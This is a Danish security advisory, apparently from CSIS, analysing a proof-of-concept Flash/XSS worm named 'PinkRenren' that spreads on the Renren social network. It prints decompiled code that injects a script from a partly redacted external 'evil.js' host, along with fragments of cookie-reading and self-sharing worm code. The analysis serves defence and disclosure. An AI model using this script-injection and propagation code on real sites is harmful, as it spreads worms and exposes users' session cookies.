|
CSIS Research & intelligence har i nat opfanget en skadelig orm, som spreder sig via Macromedia Flash og et XSS trick. Da antivirus branchen ikke har navngivet denne PoC orm har vi valgt at døbe den "PinkRenren".
Der er tale om en særligt udformet Macromedia Flash Player Compressed Movie fil af filtypen .swf (1.swf), som via flere forskellige metoder forbinder sig til et domæne, hvorfra den henter og kører arbitrær script kode, som skyder infektionen igang. Script koden afvikles på grund af en designfejl i måden hvor .swf indlæses og behandles i Flash afspilleren. Vi undersøger netop nu om der er tale om en allerede kendt sårbarhed eller design per se.
SWF-filen indeholder en kontainer "(embed type="application/x-shockwave-flash>, men denne SWF-fil har indlejret kode, der gør brug af den "forkerte" kontainer, indeholdende et "allowScriptAccess" kald der indlæser et eksternt script, som læses af Flash afspilleren med script kørselsrettigheder.
Når SWF filen dekompileres ses følgende læsbare kald til eksterne funktioner (saniteret af CSIS):
movie 'C:\1.swf' { // flash 8, total frames: 1, frame rate: 12 fps, 420x315 px, compressed frame 1 { var fun = 'var x=document.createElement("SCRIPT");x.src= "http://n.[fjernet af CSIS]08 1.com/xnxss1/evil.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);'; flash.external.ExternalInterface.call('eval', fun); frame 1 {
loadMovie('http://www.tudou.com/player/outside/player_outside.swf?iid=4120048&default_skin= http://js.tudouui.com/bin/player2/outside/Skin_outside_13.swf&autostart=false&rurl=', this);
Den eksterne reference (evil.js) indeholder bl.a. følgende funktioner/variabler:
// I'm not a malicious worm.^^; var evil_js = "http://n.[fjernet af CSIS]08 1.com/xnxss1/evil.js"; var evil_swf = "http://o.[fjernet af CSIS]08 1.com/xnxss/1.swf";
Scriptet kalder "http://'+domain+'.renren.com/ajaxProxy.html?ver=2" der afvikler script kode i samme domæne, hvorved sikkerhedsdesignet, der skal forhindre "allowScriptAccess" udenfor domænet, omgåes med hjælp fra XSS (Cross Site Scripting) teknik.
function getMyCookies(){ var myCookies = document.cookie; myCookies = myCookies.split(";") for(i = 0; i < myCookies.length; i++){ if(myCookies[i].indexOf("xssdata=")!=-1){
Besked og dermed replikering, sendes til "share.renren.com:
KLIP:
xhr_send("get","http://share.renren.com/share/buttonshare.do? link=http://g.cn&title=2016",null,
"get_tsc"); break; case "f": var url ='http://home.renren.com/friendsSelector.do?p={"init":false,"qkey":"friend","uid":true,"uname":
SNIP
Slutbrugere vil opleve, at de tilbydes et video klip af Pink Floyd klassikeren "Wish You Were Here", men når indholdet klikkes, vil scriptet blive kørt og replikationen vil begynde. Koden eksponeres mellem brugere ved at dele et link via servicen "share.renren.com".
PinkRenren er ikke skadelig, som tekst i scriptet (I'm not a malicious worm) også bebuder, men teknikken er potent.
Det skadelige script og SWF filen opnår 0 procent antivirus detektion hos samlet 27 producenter. Vi har sendt samples ud til antivirus industrien igennem vores distributionslister, og afventer at der udvikles signaturer der kan beskytte mod denne og tilsvarende orme.
|